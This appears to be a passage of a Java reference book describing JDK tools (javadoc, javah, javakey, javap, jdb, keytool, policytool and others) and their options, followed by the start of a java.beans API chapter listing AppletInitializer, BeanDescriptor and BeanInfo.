Specifies an absolute or relative URL of the top-level directory of another javadoc-generated document. javadoc uses this URL as the base URL for links from the current document to packages, classes, methods, and fields that are not documented in the current document. For example, when using javadoc to produce documentation for your own packages, you can use this option to link your documentation to the javadoc documentation for the core Java APIs. Default doclet only.

The directory specified by url must contain a file named package-list, and javadoc must be able to read this file at runtime. This file is automatically generated by a previous run of javadoc ; it contains a list of all packages documented at the url.

More than one -link option can be specified, although this does not work properly in early releases of Java 1.2. If no -link option is specified, references in the generated documentation to classes and members that are external to the documentation are not hyperlinked.

-linkoffline url packagelist

This option is like the -link option, except that the packagelist file is explicitly specified on the command line. This is useful when the directory specified by url does not have a package-list file or when that file is not available when javadoc is run. Default doclet only.

-locale language_country_variant

Specifies the locale to use for generated documentation. This is used to look up a resource file that contains localized messages and text for the output files.

-nodeprecated

Tells javadoc to omit documentation for deprecated features. This option implies -nodeprecatedlist. Default doclet only.

-nodeprecatedlist

Tells javadoc not to generate the deprecated-list.html file and not to output a link to it on the navigation bar. Default doclet only.

-nohelp

Tells javadoc not to generate a help file or a link to it in the navigation bar. Default doclet only.

-noindex

Tells javadoc not to generate index files. Default doclet only.

-nonavbar

Tells javadoc to omit the navigation bars from the top and bottom of every file. Also omits the text specified by -header and -footer. This is useful when generating documentation to be printed. Default doclet only.

-notree

Tells javadoc not to generate the tree.html class hierarchy diagram or a link to it in the navigation bar. Default doclet only.

-overview filename

Reads an overview doc comment from filename and uses that comment in the overview page. This file does not contain Java source code, so the doc comment should not actually appear between /** and */ delimiters.

-package

Includes package-visible classes and members in the output, as well as public and protected classes and members.

-private

Includes all classes and members, including private and package-visible classes and members, in the generated documentation.

-protected

Includes public and protected classes and members in the generated output. This is the default.

-public

Includes only public classes and members in the generated output. Omits protected, private, and package-visible classes and members.

-serialwarn

Issues warnings about serializable classes that do not adequately document their serialization format with @serial and related doc-comment tags. Default doclet only.

-sourcepath path

Specifies a search path for source files, typically set to a single root directory. javadoc uses this path when looking for the Java source files that implement a specified package.

-splitindex

Generates multiple index files, one for each letter of the alphabet. Use this option when documenting large amounts of code. Otherwise, the single index file generated by javadoc will be too large to be useful. Default doclet only.

-stylesheetfile file

Specifies a file to use as a CSS stylesheet for the generated HTML. javadoc inserts appropriate links to this file in the generated documentation. Default doclet only.

-use

Generates and inserts links to an additional file for each class and package that lists the uses of the class or package.

-verbose

Displays additional messages while processing source files.

-version

Includes information from @version tags in the generated output. This option does not tell javadoc to print its own version number. Default doclet only.

-windowtitle text

Specifies text to be output in the <TITLE> tag of each generated file. This title typically appears in the web-browser titlebar and its history and bookmarks lists. text should not contain HTML tags. See also -doctitle and -header. Default doclet only.

Environment

CLASSPATH

This environment variable specifies the default classpath javadoc uses to find the class files and source files. It is overridden by the -classpath and -sourcepath options. See java and javac for further discussion of the classpath.

See Also: java, javac

javah JDK 1.0 and later
Native Method C Stub Generator

Synopsis

javah [ options ] classnames

Description

javah generates C header and source files (.h and .c files) that are used when implementing Java native methods in C. The preferred native method interface has changed between Java 1.0 and Java 1.1. In Java 1.1 and earlier, javah generates files for old-style native methods. In Java 1.1, the -jni option specifies that javah should generate new-style files. In Java 1.2 and later, this option becomes the default.

This reference page describes only how to use javah. A full description of how to implement Java native methods in C is beyond the scope of this book.

Options

-bootclasspath

Specifies the path to search for system classes. See javac for further discussion. Java 1.2 and later.

-classpath path

The path javah uses to look up the classes named on the command line. This option overrides any path specified by the CLASSPATH environment variable. Prior to Java 1.2, this option can specify the location of the system classes and extensions. In Java 1.2 and later, it specifies only the location of application classes. See -bootclasspath. See also java for further discussion of the classpath.

-d directory

Specifies the directory into which javah stores the files it generates. By default, it stores them in the current directory. This option cannot be used with -o.

-force

Always write output files, even if they contain no useful content.

-help

Causes javah to display a simple usage message and exit.

-jni

Specifies that javah should output header files for use with the new Java Native Interface (JNI), rather than using the old JDK 1.0 native interface. This option is the default in Java 1.2 and later. See also -old. Java 1.1 and later.

-o outputfile

Combines all output into a single file, outputfile, instead of creating separate files for each specified class.

-old

Outputs files for Java 1.0-style native methods. Prior to Java 1.2, this was the default. See also -jni. Java 1.2 and later.

-stubs

Generates .c stub files for the class or classes, instead of header files. This option is only for the Java 1.0 native methods interface. See -old.

-td directory

Specifies the directory where javah should store temporary files. On Unix systems, the default is /tmp.

-trace

Specifies that javah should include tracing output commands in the stub files it generates. In Java 1.2 and later, this option is obsolete and has been removed. In its place, you can use the -verbose:jni option of the Java interpreter.

-v, -verbose

Verbose mode. Causes javah to print messages about what it is doing. In Java 1.2 and later, -verbose is a synonym.

-version

Causes javah to display its version number.

Environment

CLASSPATH

Specifies the default classpath javah searches to find the specified classes. See java for a further discussion of the classpath.

See Also: java, javac

javakey JDK 1.1; Superseded in Java 2 SDK 1.2
Key Management and Digital Signatures

Synopsis

javakey options

Description

javakey provides a command-line interface to a number of complex key and certificate generation and management tasks, including the generation of digital signatures. In Java 1.2 and later, javakey has been superseded by two new tools, keytool for managing keys and certificates and jarsigner for digitally signing code. Due to bugs in Java 1.1, digital signatures generated by javakey are not recognized in Java 1.2. Likewise, signatures generated by the new jarsigner tool are not recognized by Java 1.1.

javakey manages a system database of entities. Each entity can have public and private keys and/or certificates associated with it. In addition, each entity can be declared to be trusted or not. Any entity in the database can be an identity or a signer. Identities have only a public key associated with them, while signers have both a public and private key and thus can sign files.

Options

javakey defines a large number of options that perform a number of distinct operations:

-c identity-name [true|false]

Creates and adds a new identity entity to the database, using the specified name. If identity-name is followed by true, it declares the identity to be trusted. Otherwise, it is untrusted.

-cs signer-name [true|false]

Creates and adds a new signer entity to the database, using the specified name. If signer-name is followed by true, declares the signer to be trusted. Otherwise, it is untrusted.

-t entity-name true|false

Specifies whether the named entity is trusted (true) or not (false).

-l

Lists the names of all entities in the security database.

-ld

Lists the names and other details about all entities in the security database.

-li entity-name

Lists detailed information about the named entity from the security database.

-r entity-name

Removes the named entity from the security database.

-ik identity-name keyfile

Imports a key by reading a public key from the specified file and associating it with the named identity. The key must be in X.509 format.

-ikp signer-name pubkeyfile privkeyfile

Imports a key pair by reading the specified public-key and private-key files and associating them with the named signer entity. The keys must be in X.509 format.

-ic entity-name certificate-file

Imports a certificate by reading a certificate from the named certificate file and associating it with the named entity. If the entity already has a public key, compares it to the key in the certificate and issues a warning if they don't match. If the entity has no public key assigned, uses the public key from the certificate.

-ii entity-name

Imports information, allowing you to enter arbitrary textual information about an entity into the database.

-gk signer algorithm size [pubfile [privfile]]

Generates a public and private key and associates them with the named signer. Uses the specified algorithm. Currently, the only supported algorithm is "DSA". Generates keys of the specified number of bits, which must be between 512 and 1024. If pubfile is specified, writes the public key to the specified file. If privfile is specified, writes the private key to the specified file.

-g signer algorithm size [pubfile [privfile]]

A synonym for the -gk command.

-gc directivefile

Generates a certificate according to the parameters specified in the directive file. The directive file is a Properties file that must provide values for the following named properties:

issuer.name

The name of the entity issuing the certificate

issuer.cert

The issuer's certificate number to be used to sign the generated certificate (unless the certificate is self-signed)

subject.name

The database name of the entity to which the certificate is being issued

subject.real.name

The real name of the entity to which the certificate is being issued

subject.country

The country the subject entity is in

subject.org

The organization with which the subject entity is affiliated

subject.org.unit

A division within the subject's organization

start.date

The starting date (and time) of the certificate

end.date

The ending date (and time) of the certificate

serial.number

A serial number for the certificate; this number must be unique among all certificates generated by the issuer

out.file

An optional filename that specifies the file to which the certificate should be written

-dc certfile

Displays the contents of the certificate stored in certfile.

-ec entity certificate-number file

Exports the numbered certificate of the specified entity into the specified file. Use the -li command to inspect the certificate numbers for a given entity.

-ek entity pubfile [privfile]

Exports the public key of the specified entity into the specified file. If the entity is a signer and the privfile is specified, additionally exports the private key of the entity to that file.

-gs directivefile jarfile

Generates, or applies, a digital signature to the specified JAR file, using the directives in the specified directive file. The directive file is a Properties file that must provide values for the following named properties:

signer

The entity name of the signer

cert

The certificate number to use for the signature

chain

The length of a chain of certificates to include (not currently supported; specify 0)

signature.file

The basename of the signature file and signature block to be inserted into the JAR file; must be eight characters or less and should not conflict with any other digital signatures that may be inserted into the JAR file

out.file

This optional property specifies the name that should be used for the signed JAR file that is generated.

See Also: jar, jarsigner, keytool

javap JDK 1.0 and later
The Java Class Disassembler

Synopsis

javap [ options ] classnames

Description

javap reads the class files specified by the class names on the command line and prints a human-readable version of the API defined by those classes. javap can also disassemble the specified classes, displaying the Java VM byte codes for the methods they contain.

Options

-b

Enables backward compatibility with the output of the Java 1.1 version of javap. This option exists for program that depends on the precise output format of javap. Java 1.2 and later.

-bootclasspath path

Specifies the search path for the system classes. See javac for information about this rarely used option. Java 1.2 and later.

-c

Displays the code (i.e., Java VM byte codes) for each method of each specified class. This option always disassembles all methods, regardless of their visibility level.

-classpath path

Specifies the path javap uses to look up the classes named on the command line. This option overrides the path specified by the CLASSPATH environment variable. Prior to Java 1.2, this argument specifies the path for all system classes, extensions, and application classes. In Java 1.2 and later, it specifies only the application classpath. See also -bootclasspath and -extdirs. See java and javac for more information on the classpath.

-extdirs dirs

Specifies one or more directories that should be searched for extension classes. See javac for information about this rarely used option. Java 1.2 and later.

-l

Displays tables of line numbers and local variables, if available in the class files. This option is typically useful only when used with -c. The javac compiler does not include local variable information in its class files by default. See the -g and related options to javac.

-help

Prints a usage message and exits.

-J javaoption

Passes the specified javaoption directly to the Java interpreter.

-package

Displays package-visible, protected, and public class members, but not private members. This is the default.

-private

Displays all class members, including private members.

-protected

Displays only protected and public members.

-public

Displays only public members of the specified classes.

-s

Outputs the class member declarations using the internal VM type and method signature format, instead of the more readable source-code format.

-verbose

Verbose mode. Outputs additional information (in the form of Java comments) about each member of each specified class.

-verify

Causes javap to perform partial class verification on the specified class or classes and display the results. Java 1.0 and 1.1. only; this option has been removed in Java 1.2 and later because it does not perform a sufficiently thorough verification.

-version

Causes javap to display its version number.

Environment

CLASSPATH

Specifies the default search path for application classes. The -classpath option overrides this environment variable. See java for a discussion of the classpath.

See Also: java, javac

jdb JDK 1.0 and later
The Java Debugger

Synopsis

jdb [ options ] class [ program options ]
jdb connect options

Description

jdb is a debugger for Java classes. It is text-based, command-line-oriented, and has a command syntax like that of the Unix dbx or gdb debuggers used with C and C++ programs.

jdb is written in Java, so it runs within a Java interpreter. When jdb is invoked with the name of a Java class, it starts another copy of the java interpreter, using any interpreter options specified on the command line. The new interpreter is started with special options that enable it to communicate with jdb. The new interpreter loads the specified class file and then stops and waits for debugging commands before executing the first byte code.

jdb can also debug a program that is already running in another Java interpreter. Doing so requires special options be passed to both the java interpreter and to jdb. The Java debugging architecture has changed dramatically with the introduction of Java 1.3, and so have the java and jdb options used to allow jdb to connect to a running interpreter.

jdb Expression Syntax

jdb debugging commands such as print, dump, and suspendx allow you to refer to classes, objects, methods, fields, and threads in the program being debugged. You can refer to classes by name, with or without their package names. You can also refer to static class members by name. You can refer to individual objects by object ID, which is an eight-digit hexadecimal integer. Or, when the classes you are debugging contain local variable information, you can often use local variable names to refer to objects. You can use normal Java syntax to refer to the fields of an object and the elements of an array; you can also use this syntax to write quite complex expressions. In Java 1.3, jdb even supports method invocation using standard Java syntax.

A number of jdb commands require you to specify a thread. Each thread is given an integer identifier and is named using the syntax t@n, where n is the thread ID.

Options

When invoking jdb with a specified class file, any of the java interpreter options can be specified. See the java reference page for an explanation of these options. In addition, jdb supports the following options:

-attach [host:]port

Specifies that jdb should connect to the Java "Client VM" that is already running on the specified host (or the local host, if unspecified) and listening for debugging connections on the specified port. Java 1.3 and later.

In order to use jdb to connect to a running VM in this way, the VM must have been started with a command line something like this:

% java -Xdebug -Xrunjdwp:transport=dt_socket,address=8000,server=y,suspend=n

The Java 1.3 jdb architecture allows a complex set of interpreter-to-debugger connection options, and java and jdb provide a complex set of options and suboptions to enable it. A detailed description of those options is beyond the scope of this book.

-help

Displays a usage message listing supported options.

-host hostname

In Java 1.2 and earlier, this option is used to connect to an already running interpreter. It specifies the name of the host upon which the desired interpreter session is running. If omitted, the default is the local host. This option must be used with -password. In Java 1.3, this option has been replaced by the -attach option.

-launch

Starts the specified application when jdb starts. This avoids the need to explicitly use the run command to start it. Java 1.3 and later.

-password password

In Java 1.2 and earlier, this option specifies a password that uniquely identifies a Java VM on a particular host. When used in conjunction with -hostname, this option enables jdb to connect to a running interpreter. The interpreter must have been started with the -debug or -Xdebug option, which causes it to display an appropriate password for use with this option. In Java 1.3, this option has been replaced by the -attach option.

-sourcepath path

Specifies the locations jdb searches when attempting to find source files that correspond to the class files being debugged. If unspecified, jdb uses the classpath by default. Java 1.3 and later.

-tclassic

Tells jdb to invoke the "Classic VM" instead of the "Client VM" (Hotspot), which is the default VM in Java 1.3. Java 1.3 and later.

-version

Displays the jdb version number and exits.

Commands

jdb understands the following debugging commands:

? or help

Lists all supported commands, with a short explanation of each.

!!

A shorthand command that is replaced with the text of the last command entered. It can be followed with additional text that is appended to that previous command.

catch [ exception-class ]

Causes a breakpoint whenever the specified exception is thrown. If no exception is specified, the command lists the exceptions currently being caught. Use ignore to stop these breakpoints from occurring.

classes

Lists all classes that have been loaded.

clear

Lists all currently set breakpoints.

clear class.method [(param-type...)]

Clears the breakpoint set in the specified method of the specified class.

clear [ class:line ]

Removes the breakpoint set at the specified line of the specified class.

cont

Resumes execution. This command should be used when the current thread is stopped at a breakpoint.

down [ n ]

Moves down n frames in the call stack of the current thread. If n is not specified, moves down one frame.

dump id...

Prints the value of all fields of the specified object or objects. If you specify the name of a class, dump displays all class (static) methods and variables of the class, and also displays the superclass and list of implemented interfaces. Objects and classes can be specified by name or by their eight-digit hexadecimal ID numbers. Threads can also be specified with the shorthand t@thread-number.

exit or quit

Quits jdb.

gc

Runs the garbage collector to force unused objects to be reclaimed.

ignore exception-class

Does not treat the specified exception as a breakpoint. This command turns off a catch command. This command does not cause the Java interpreter to ignore exceptions; it merely tells jdb to ignore them.

list [ line-number ]

Lists the specified line of source code as well as several lines that appear before and after it. If no line number is specified, uses the line number of the current stack frame of the current thread. The lines listed are from the source file of the current stack frame of the current thread. Use the use command to tell jdb where to find source files.

list method

Displays the source code of the specified method.

load classname

Loads the specified class into jdb.

locals

Displays a list of local variables for the current stack frame. Java code must be compiled with the -g option in order to contain local variable information.

memory

Displays a summary of memory usage for the Java program being debugged.

methods class

Lists all methods of the specified class. Use dump to list the instance variables of an object or the class (static) variables of a class.

print id...

Prints the value of the specified item or items. Each item can be a class, object, field, or local variable, and can be specified by name or by eight-digit hexadecimal ID number. You can also refer to threads with the special syntax t@thread-number. The print command displays an object's value by invoking its toString() method.

next

Executes the current line of source code, including any method calls it makes. See also step.

resume [ thread-id... ]

Resumes execution of the specified thread or threads. If no threads are specified, all suspended threads are resumed. See also suspend.

run [ class ] [ args ]

Runs the main() method of the specified class, passing the specified arguments to it. If no class or arguments are specified, uses the class and arguments specified on the jdb command line.

step

Runs the current line of the current thread and stops again. If the line invokes a method, steps into that method and stops. See also next.

stepi

Executes a single Java VM instruction.

step up

Runs until the current method returns to its caller and stops again.

stop

Lists current breakpoints.

stop at class:line

Sets a breakpoint at the specified line of the specified class. Program execution stops when it reaches this line. Use clear to remove a breakpoint.

stop in class.method [(param-type...)]

Sets a breakpoint at the beginning of the specified method of the specified class. Program execution stops when it enters the method. Use clear to remove a breakpoint.

suspend [ thread-id... ]

Suspends the specified thread or threads. If no threads are specified, suspends all running threads. Use resume to restart them.

thread thread-id

Sets the current thread to the specified thread. This thread is used implicitly by a number of other jdb commands. The thread can be specified by name or number.

threadgroup name

Sets the current thread group.

threadgroups

Lists all thread groups running in the Java interpreter session being debugged.

threads [ threadgroup ]

Lists all threads in the named thread group. If no thread group is specified, lists all threads in the current thread group (specified by threadgroup).

up [ n ]

Moves up n frames in the call stack of the current thread. If n is not specified, moves up one frame.

use [ source-file-path ]

Sets the path used by jdb to look up source files for the classes being debugged. If no path is specified, displays the current source path.

where [thread-id ] [all]

Displays a stack trace for the specified thread. If no thread is specified, displays a stack trace for the current thread. If all is specified, displays a stack trace for all threads.

wherei [thread-id x]

Displays a stack trace for the specified or current thread, including detailed program counter information.

Environment

CLASSPATH

Specifies an ordered list (colon-separated on Unix, semicolon-separated on Windows systems) of directories, ZIP files, and JAR archives in which jdb should look for class definitions. When a path is specified with this environment variable, jdb always implicitly appends the location of the system classes to the end of the path. If this environment variable is not specified, the default path is the current directory and the system classes. This variable is overridden by the -classpath option.

See Also: java

keytool Java 2 SDK 1.2 and later
Key and Certificate Management Tool

Synopsis

keytool command options

Description

keytool manages and manipulates a keystore : a repository for public and private keys and public-key certificates. keytool defines various commands for generating keys, importing data into the keystore, and exporting and displaying keystore data. Keys and certificates are stored in a keystore using a case-insensitive name, or alias. keytool uses this alias to refer to a key or certificate.

The first option to keytool always specifies the basic command to be performed. Subsequent options provide details about how the command is to be performed. Only the command must be specified. If a command requires an option that does not have a default value, keytool prompts you interactively for the value.

Commands

-certreq

Generates a certificate signing request in PKCS#10 format for the specified alias. The request is written to the specified file or to the standard output stream. The request should be sent to a certificate authority (CA), which authenticates the requestor and sends back a signed certificate authenticating the requestor's public key. This signed certificate can then be imported into the keystore with the -import command. This command uses the following options: -alias, -file, -keypass, -keystore, -sigalg, -storepass, -storetype, and -v.

-delete

Deletes a specified alias from a specified keystore. This command uses the following options: -alias, -keystore, -storepass, -storetype, and -v.

-export

Writes the certificate associated with the specified alias to the specified file or to standard output. This command uses the following options: -alias, -file, -keystore, -rfc, -storepass, -storetype, and -v.

-genkey

Generates a public/private key pair and a self-signed X.509 certificate for the public key. Self-signed certificates are not often useful by themselves, so this command is often followed by -certreq. This command uses the following options: -alias, -dname, -keyalg, -keypass, -keysize, -keystore, -sigalg, -storepass, -storetype, -v, and -validity.

-help

Lists all available keytool commands and their options. This command is not used with any other options.

-identitydb

Reads keys and certificates from a Java 1.1 identity database managed with javakey and stores them into a keystore so they can be manipulated by keytool. The identity database is read from the specified file or from standard input if no file is specified. The keys and certificates are written into the specified keystore file, which is automatically created if it does not exist yet. This command uses the following options: -file, -keystore, -storepass, -storetype, and -v.

-import

Reads a certificate or PKCS#7-formatted certificate chain from a specified file or from standard input and stores it as a trusted certificate in the keystore with the specified alias. This command uses the following options: -alias, -file, -keypass, -keystore, -noprompt, -storepass, -storetype, -trustcacerts, and -v.

-keyclone

Duplicates the keystore entry of a specified alias and stores it in the keystore under a new alias. This command uses the following options: -alias, -dest, -keypass, -keystore, -new, -storepass, -storetype, and -v.

-keypasswd

Changes the password that encrypts the private key associated with a specified alias. This command uses the following options: -alias, -keypass, -new, -storetype, and -v.

-list

Displays (on standard output) the fingerprint of the certificate associated with the specified alias. With the -v option, prints certificate details in human-readable format. With -rfc, prints certificate contents in a machine-readable, printable-encoding format. This command uses the following options: -alias, -keystore, -rfc, -storepass, -storetype, and -v.

-printcert

Displays the contents of a certificate read from the specified file or from standard input. Unlike most keytool commands, this one does not use a keystore. This command uses the following options: -file and -v.

-selfcert

Creates a self-signed certificate for the public key associated with the specified alias and uses it to replace any certificate or certificate chain already associated with that alias. This command uses the following options: -alias, -dname, -keypass, -keystore, -sigalg, -storepass, -storetype, -v, and -validity.

-storepasswd

Changes the password that protects the integrity of the keystore as a whole. The new password must be at least six characters long. This command uses the following options: -keystore, -new, -storepass, -storetype, and -v.

Options

The various keytool commands can be passed various options from the following list. Many of these options have reasonable default values. keytool interactively prompts for any unspecified options that do not have defaults:

-alias name

Specifies the alias to be manipulated in the keystore. The default is "mykey".

-dest newalias

Specifies the new alias name (the destination alias) for the -keyclone command. If not specified, keytool prompts for a value.

-dname X.500-distinguished-name

Specifies the X.500 distinguished name to appear on the certificate generated by -selfcert or -genkey. A distinguished name is a highly qualified name intended to be globally unique. For example:

CN=David Flanagan, OU=Editorial, O=OReilly, L=Cambridge, S=Massachusetts, C=US

The -genkey command of keytool prompts for a distinguished name if none is specified. The -selfcert command uses the distinguished name of the current certificate if no replacement name is specified.

-file file

Specifies the input or output file for many of the keytool commands. If left unspecified, keytool reads from the standard input or writes to the standard output.

-keyalg algorithm-name

Used with -genkey to specify what type of cryptographic keys to generate. In the default Java implementation shipped from Sun, the only supported algorithm is "DSA"; this is the default if this option is omitted.

-keypass password

Specifies the password that encrypts a private key in the keystore. If this option is unspecified, keytool first tries the -storepass password. If that does not work, it prompts for the appropriate password.

-keysize size

Used with the -genkey command to specify the length in bits of the generated keys. If unspecified, the default is 1024.

-keystore filename

Specifies the location of the keystore file. If unspecified, a file named .keystore in the user's home directory is used.

-new new-password-or-alias

Used with the -keyclone command to specify the new alias name and with -keypasswd and -storepasswd to specify the new password. If unspecified, keytool prompts for the value of this option.

-noprompt

Used with the -import command to disable interactive prompting of the user when a chain of trust cannot be established for an imported certificate. If this option is not specified, the -import command prompts the user.

-rfc

Used with the -list and -export commands to specify that certificate output should be in the printable encoding format specified by RFC-1421. If this option is not specified, -export outputs the certificate in binary format, and -list lists only the certificate fingerprint. This option cannot be combined with -v in the -list command.

-sigalg algorithm-name

Specifies a digital signature algorithm that signs a certificate. If omitted, the default for this option depends on the type of underlying public key. If it is a DSA key, the default algorithm is "SHA1withDSA". If the key is an RSA key, the default signature algorithm is "MD5withRSA".

-storepass password

Specifies a password that protects the integrity of the entire keystore file. This password also serves as a default password for any private keys that do not have their own -keypass specified. If -storepass is not specified, keytool prompts for it. The password must be at least six characters long.

-storetype type

Specifies the type of the keystore to be used. If this option is not specified, the default is taken from the system security properties file. Often, the default is Sun's "JKS" Java Keystore type.

-trustcacerts

Used with the -import command to specify that the self-signed certificate authority certificates contained in the keystore in the jre/lib/security/cacerts file should be considered trusted. If this option is omitted, keytool ignores that file.

-v

This option specifies verbose mode, if present, and makes many keytool commands produce additional output.

-validity time

Used with the -genkey and -selfcert commands to specify the period of validity (in days) of the generated certificate. If unspecified, the default is 90 days.

See Also: jarsigner, javakey, policytool

native2ascii JDK 1.1 and later
Converts Java Source Code to ASCII

Synopsis

native2ascii [ options ] [ inputfile [ outputfile ]]

Description

javac can only process files encoded in the eight-bit Latin-1 encoding, with any other characters encoded using the \u xxxx Unicode notation. native2ascii is a simple program that reads a Java source file encoded using a local encoding and converts it to the Latin-1-plus-ASCII-encoded-Unicode form required by javac.

The inputfile and outputfile are optional. If unspecified, standard input and standard output are used, making native2ascii suitable for use in pipes.

OPtions

-encoding encoding-name

Specifies the encoding used by source files. If this option is not specified, the encoding is taken from the file.encoding system property.

-reverse

Specifies that the conversion should be done in reverse--from encoded \u xxxx characters to characters in the native encoding.

See Also: java.io.InputStreamReader, java.io.OutputStreamWriter

policytool Java 2 SDK 1.2 and later
Policy File Creation and Management Tool

Synopsis

policytool

Description

policytool displays a Swing user interface that makes it easy to edit security policy configuration files. The Java security architecture is based on policy files, which specify sets of permissions to be granted to code from various sources. By default, the Java security policy is defined by a system policy file stored in the jre/lib/security/java.policy file and a user policy file stored in the .java.policy file in the user's home directory. System administrators and users can edit these files with a text editor, but the syntax of the file is somewhat complex, so it is usually easier to use policytool to define and edit security policies.

Selecting the Policy File to Edit

When policytool starts up, it opens the .java.policy file in the user's home directory by default. Use the New, Open, and Save commands in the File menu to create a new policy file, open an existing file, and save an edited file, respectively.

Editing the Policy File

The main policytool window displays a list of the entries contained in the policy file. Each entry specifies a code source and the permissions that are to be granted to code from that source. The window also contains buttons that allow you to add a new entry, edit an existing entry, or delete an entry from the policy file. If you add or edit an entry, policytool opens a new window that displays the details of that policy entry.

Editing the Policy File

Every policy file has an associated keystore, from which it obtains the certificates it needs when verifying the digital signatures of Java code. You can usually rely on the default keystore, but if you need to specify the keystore explicitly for a policy file, use the Change Keystore command in the Edit menu of the main policytool window.

Adding or Editing a Policy Entry:

The policy entry editor window displays the code source for the policy entry and a list of permissions associated with that code source. It also contains buttons that allow you to add a new permission, delete a permission, or edit an existing permission.

Adding or Editing a Policy Entry: When defining a new policy entry, the first step is to specify the code source. A code source is defined by a URL from which the code is downloaded and/or a list of digital signatures that must appear on the code. Specify one or both of these values by typing in a URL and/or a comma-separated list of aliases. These aliases identify trusted certificates in the keystore associated with the policy file.

After you have defined the code source for a policy entry, you must define the permissions to be granted to code from that source. Use the Add Permission and Edit Permission buttons to add and edit permissions. These buttons bring up yet another policytool window.

Defining a Permission

To define a permission in the permission editor window, first select the desired permission type from the Permission drop-down menu. Then, select an appropriate target value from the Target Name menu. The choices in this menu are customized depending on the permission type you selected. For some types of permission, such as FilePermission, there is not a fixed set of possible targets, and you usually have to type in the specific target you want. For example, you might type "/tmp" to specify the directory /tmp, "/tmp/*" to specify all the files in that directory, or "/tmp/-" to specify all the files in the directory, and, recursively, any subdirectories. See the documentation of the individual Permission classes for a description of the targets they support.

Depending on the type of permission you select, you may also have to select one or more action values from the Actions menu. When you have selected a permission and appropriate target and action values, click the Okay button to dismiss the window.

See Also: jarsigner, keytool

serialver JDK 1.1 and later
Class Version Number Generator

Synopsis

serialver [-show] classname...

Description:

serialver displays the version number of a class or classes. This version number is used for the purposes of serialization: the version number must change each time the serialization format of the class changes.

If the specified class declares a longserialVersionUID constant, the value of that field is displayed. Otherwise, a unique version number is computed by applying the Secure Hash Algorithm (SHA) to the API defined by the class. This program is primarily useful for computing an initial unique version number for a class, which is then declared as a constant in the class. The output of serialver is a line of legal Java code, suitable for pasting into a class definition.

Options

-show

When the -show option is specified, serialver displays a simple graphical interface that allows the user to type in a single classname at a time and obtain its serialization UID. When using -show, no class names can be specified on the command-line.

Environment

CLASSPATH

serialver is written in Java, so it is sensitive to the CLASSPATH environment variable in the same way the java interpreter is. The specified classes are looked up relative to this classpath.

See Also: java.io.ObjectStreamClass

Previous | Home | Next
7.3. Java Documentation Comments | Book Index | Part 2. API Quick Reference
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The java.beans Package (Java in a Nutshell)

 Java Enterprise in a Nutshell Search this book

Chapter 9. The java.beans Package

The java.beans package contains classes and interfaces related to JavaBeans components. Most of the classes and interfaces are used by tools that manipulate beans, rather than by the beans themselves. They are also used or implemented by auxiliary classes provided by bean implementors for the benefit of bean-manipulation tools. Figure 9-1 shows the class hierarchy for this package.

Figure 9-1. The java.beans package

The Beans class defines several generally useful static methods. Its instantiate() method is particularly important. The Introspector class is used to obtain information about a bean and the properties, events, and methods it exports. Most of this information is returned using the FeatureDescriptor class and its various subclasses. The java.beans package also defines the PropertyChangeEvent class and the PropertyChangeListener interface that are widely used by AWT and Swing to provide notification when a bound property of a GUI component changes.

See Chapter 6, "JavaBeans", for a complete introduction to the JavaBeans component model.

AppletInitializer Java 1.2
java.beans

This interface defines general methods to initialize a newly instantiated Applet object. An AppletInitializer can be passed to the Beans.instantiate() method so that when a bean that is also an applet is created, it can be properly initialized. The initialize() method should associate the applet object with an appropriate AppletContext and AppletStub, place it within an appropriate Container, and call its init() method. The activate() method should make the applet active by calling its start() method. This interface is typically used by bean context implementors. Applications writers may need to use AppletInitializer objects, but should not usually have to invoke or implement the methods directly.

public interface AppletInitializer {
// | Public Instance Methods
 | public abstract void activate (java.applet.Applet newApplet);
 | public abstract void initialize (java.applet.Applet newAppletBean, java.beans.beancontext.BeanContext bCtxt);
}

Passed To: Beans.instantiate()

BeanDescriptor | Java 1.1
java.beans | PJ1.1

A BeanDescriptor object is a type of FeatureDescriptor that describes a JavaBeans component. The BeanInfo class for a bean optionally creates and initializes a BeanDescriptor object to describe the bean. Typically, only application builders and similar tools use the BeanDescriptor. To create a BeanDescriptor, you must specify the class of the bean and, optionally, the class of a Customizer for the bean. You can use the methods of FeatureDescriptor to provide additional information about the bean.

public class BeanDescriptor extends FeatureDescriptor {
// | Public Constructors
 | public BeanDescriptor (Class beanClass);
 | public BeanDescriptor (Class beanClass, Class customizerClass);
// | Public Instance Methods
 | public Class getBeanClass ();
 | public Class getCustomizerClass ();
}

Hierarchy: Object-->FeatureDescriptor-->BeanDescriptor

Returned By: BeanInfo.getBeanDescriptor(), SimpleBeanInfo.getBeanDescriptor()

BeanInfo | Java 1.1
java.beans | PJ1.1

The BeanInfo interface defines the methods a class must implement in order to export information about a JavaBeans component. The Introspector class knows how to obtain all the basic information required about a bean. A bean that wants to be more programmer-friendly can provide a class that implements this interface, and provide additional information about itself (such as an icon and description strings for each of its properties, events, and methods). Note that a bean developer defines a class that implements the methods of this interface. Typically, only builder applications and similar tools actually invoke the methods defined here.

The getBeanDescriptor(), getEventSetDescriptors(), getPropertyDescriptors(), and getMethodDescriptors() methods should return appropriate descriptor objects for the bean or null if the bean does not provide explicit bean, event set, property, or method descriptor objects. The getDefaultEventIndex() and getDefaultPropertyIndex() methods return values that specify the default event and property (i.e., those most likely to be of interest to a programmer using the bean). These methods should return -1 if there are no defaults. The getIcon() method should return an image object suitable for representing the bean in a palette or menu of available beans. The argument passed to this method is one of the four constants defined by the class; it specifies the type and size of icon requested. If the requested icon cannot be provided, getIcon() should return null.

A BeanInfo class is allowed to return null or -1 if it cannot provide the requested information. In this case, the Introspector class provides basic values for the omitted information from its own introspection of the bean. See SimpleBeanInfo for a trivial implementation of this interface suitable for convenient subclassing.

public interface BeanInfo {
// | Public Constants
 | public static final int ICON_COLOR_16x16 ; | =1
 | public static final int ICON_COLOR_32x32 ; | =2
 | public static final int ICON_MONO_16x16 ; | =3
 | public static final int ICON_MONO_32x32 ; | =4
// | Property Accessor Methods (by property name)
 | public abstract BeanInfo[ ] getAdditionalBeanInfo (); |
 | public abstract BeanDescriptor getBeanDescriptor (); |
 | public abstract int getDefaultEventIndex (); |
 | public abstract int getDefaultPropertyIndex (); |
 | public abstract EventSetDescriptor[ ] getEventSetDescriptors (); |
 | public abstract MethodDescriptor[ ] getMethodDescriptors (); |
 | public abstract PropertyDescriptor[ ] getPropertyDescriptors (); |
// | Public Instance Methods
 | public abstract java.awt.Image getIcon (int iconKind); |
}

Implementations: SimpleBeanInfo, java.beans.beancontext.BeanContextServiceProviderBeanInfo

